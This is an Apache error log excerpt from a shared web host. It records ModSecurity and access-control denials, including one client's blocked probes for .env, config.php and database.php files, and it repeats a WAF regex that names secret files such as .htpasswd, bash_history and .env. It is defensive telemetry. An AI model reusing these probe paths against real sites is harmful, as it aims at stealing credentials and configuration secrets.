https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2U= [Sat Jun 13 18:15:56.108276 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2U= [Sat Jun 13 18:15:56.199212 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.32:34957] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:56.199657 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.32:34957] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:56.207608 2026] [security2:error] [pid 648189:tid 648301] [remote 17.246.19.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yvFWSojQL4F7upKBYJQAAzU8"] [Sat Jun 13 18:15:56.287840 2026] [security2:error] [pid 648189:tid 648392] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/public/.env"] [unique_id "ai3yvFWSojQL4F7upKBYKAAAAKw"] [Sat Jun 13 18:15:56.421182 2026] [security2:error] [pid 648189:tid 648485] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/web/.env"] [unique_id "ai3yvFWSojQL4F7upKBYNgAAAQM"] [Sat Jun 13 18:15:56.553619 2026] [security2:error] [pid 648189:tid 648473] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/server/.env"] [unique_id "ai3yvFWSojQL4F7upKBYOwAAAPc"] [Sat Jun 13 18:15:56.576269 2026] [access_compat:error] [pid 648189:tid 648298] [remote 57.141.14.16:36074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:56.576744 2026] [access_compat:error] [pid 648189:tid 648298] [remote 57.141.14.16:36074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:56.600109 2026] [security2:error] [pid 648189:tid 648302] [remote 17.22.237.137:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yvFWSojQL4F7upKBYQAAAoFA"] [Sat Jun 13 18:15:56.620957 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:56.621399 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:56.685231 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/client/.env"] [unique_id "ai3yvFWSojQL4F7upKBYQgAAAKg"] [Sat Jun 13 18:15:56.817112 2026] [security2:error] [pid 648189:tid 648356] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/frontend/.env"] [unique_id "ai3yvFWSojQL4F7upKBYRQAAAIg"] [Sat Jun 13 18:15:56.974372 2026] [security2:error] [pid 648189:tid 648309] [remote 17.241.227.108:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yvFWSojQL4F7upKBYTAAA0lc"] [Sat Jun 13 18:15:56.994083 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.42:48074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:56.994522 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.42:48074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:57.164639 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:15:57.165100 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:15:57.213445 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.32:34973] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:57.213889 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.32:34973] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:57.540468 2026] [security2:error] [pid 648189:tid 648419] [client 185.177.72.9:47902] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/config.php"] [unique_id "ai3yvVWSojQL4F7upKBYZgAAAMY"] [Sat Jun 13 18:15:57.653253 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:15:57.653534 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:15:57.810615 2026] [security2:error] [pid 646876:tid 647023] [client 185.177.72.9:47906] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/api/config.php"] [unique_id "ai3yvdyTkdrNlD40tSGkOwAAAA8"] [Sat Jun 13 18:15:57.919533 2026] [access_compat:error] [pid 648189:tid 648324] [remote 57.141.14.16:36078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:57.920037 2026] [access_compat:error] [pid 648189:tid 648324] [remote 57.141.14.16:36078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:58.002958 2026] [access_compat:error] [pid 646876:tid 646928] [remote 57.141.14.26:62248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:58.003389 2026] [access_compat:error] [pid 646876:tid 646928] [remote 57.141.14.26:62248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:58.042947 2026] [access_compat:error] [pid 648189:tid 648247] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:58.044114 2026] [access_compat:error] [pid 648189:tid 648247] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:58.085719 2026] [security2:error] [pid 646876:tid 647088] [client 185.177.72.9:47912] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/config.php"] [unique_id "ai3yvtyTkdrNlD40tSGkSAAAAFA"] [Sat Jun 13 18:15:58.214563 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZS9kcml2ZXI= [Sat Jun 13 18:15:58.215021 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZS9kcml2ZXI= [Sat Jun 13 18:15:58.361328 2026] [security2:error] [pid 646876:tid 647066] [client 185.177.72.9:47922] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/app/config.php"] [unique_id "ai3yvtyTkdrNlD40tSGkUgAAADo"] [Sat Jun 13 18:15:58.399094 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.45:20600] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:58.399375 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.45:20600] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:58.628043 2026] [security2:error] [pid 646876:tid 646910] [remote 17.246.15.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yvtyTkdrNlD40tSGkXAAAah8"] [Sat Jun 13 18:15:58.630472 2026] [security2:error] [pid 646876:tid 647077] [client 185.177.72.9:47924] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/backend/config.php"] [unique_id "ai3yvtyTkdrNlD40tSGkXQAAAEU"] [Sat Jun 13 18:15:58.709619 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:15:58.710101 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:15:58.825628 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.99:54792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:58.825922 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.99:54792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:58.900038 2026] [security2:error] [pid 646876:tid 647102] [client 185.177.72.9:47936] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/src/config.php"] [unique_id "ai3yvtyTkdrNlD40tSGkaQAAAF4"] [Sat Jun 13 18:15:59.011331 2026] [access_compat:error] [pid 648189:tid 648263] [remote 57.141.14.13:37583] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:59.011821 2026] [access_compat:error] [pid 648189:tid 648263] [remote 57.141.14.13:37583] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:59.176136 2026] [security2:error] [pid 646876:tid 647008] [client 185.177.72.9:47940] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/database.php"] [unique_id "ai3yv9yTkdrNlD40tSGkcQAAAAA"] [Sat Jun 13 18:15:59.187827 2026] [security2:error] [pid 646876:tid 646881] [remote 17.22.237.196:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 196.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yv9yTkdrNlD40tSGkcgAAUQI"] [Sat Jun 13 18:15:59.219538 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 